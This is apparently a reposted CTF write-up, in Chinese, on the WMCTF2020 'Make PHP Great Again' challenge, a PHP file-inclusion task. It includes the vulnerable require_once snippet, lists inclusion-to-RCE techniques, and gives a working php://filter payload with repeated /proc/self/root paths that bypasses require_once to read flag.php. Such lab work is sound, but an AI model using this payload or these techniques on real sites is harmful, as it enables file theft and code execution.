BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick相关的知识,希望对你有一定的参考价值。

一、自己做:

代码简单,

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

用filter读取,能够读取到file=../../../../../etc/passwd。用上filter等等,就是读取不到flag.php。

然后我就想到了之前的 文件包含漏洞的。那个上传一个文件,然后包含自己,使得PHP程序运行不完,然后临时文件就不会被销毁,然后就可以包含临时文件getshell了。
但是这里是require_once。只是一次。就作罢了。

二、 学到的。不足:

  1. 那个 SESSION_UPLOAD_PROGRESS也是可以进行文件包含的了。我当时总结的时候就没有成功,这里再试一次。这个看WP之后尝试成功了。

  2. 看到文件包含还是不敏感

  • 最基础的,读取敏感文件, filter去读,都可
  • 包含日志,这个最简单的
  • 再就是这个用PHP_SESSION_IPLOAD_PROGRESS进行条件竞争,包含文件,实现RCE。
  • PHP临时文件的销毁机制,自己包含自己。然后上传一个马儿,当作临时文件,然后包含之,

三、学习WP:

用 PHP_SESSION_UPLOAD_PROGRESS,文件包含

就是常规的那个文件包含,
再看 session.upload_progress。。文件包含,, +++ 临时文件包含, ++++ PHP7 的 segment fault
。就行

php7.4的小trick。。equire_once 绕过不能重复包含文件的限制

详细解释看这里吧:https://www.anquanke.com/post/id/213235

直接给了payload的。

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

以上是关于BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick的主要内容,如果未能解决你的问题,请参考以下文章

如何将 JavaScript 放入 Laravel make:auth

PHP编译,执行make报错

make报错make: *** [sapi/cli/php] Error 1

php编译安装执行make时报错: make: *** [ext/fileinfo/libmagic/apprentice.lo] Error 1

php 在编译时为啥是make test,而不是make?

安装PHP出现make: *** [sapi/cli/php] Error 1 解决办法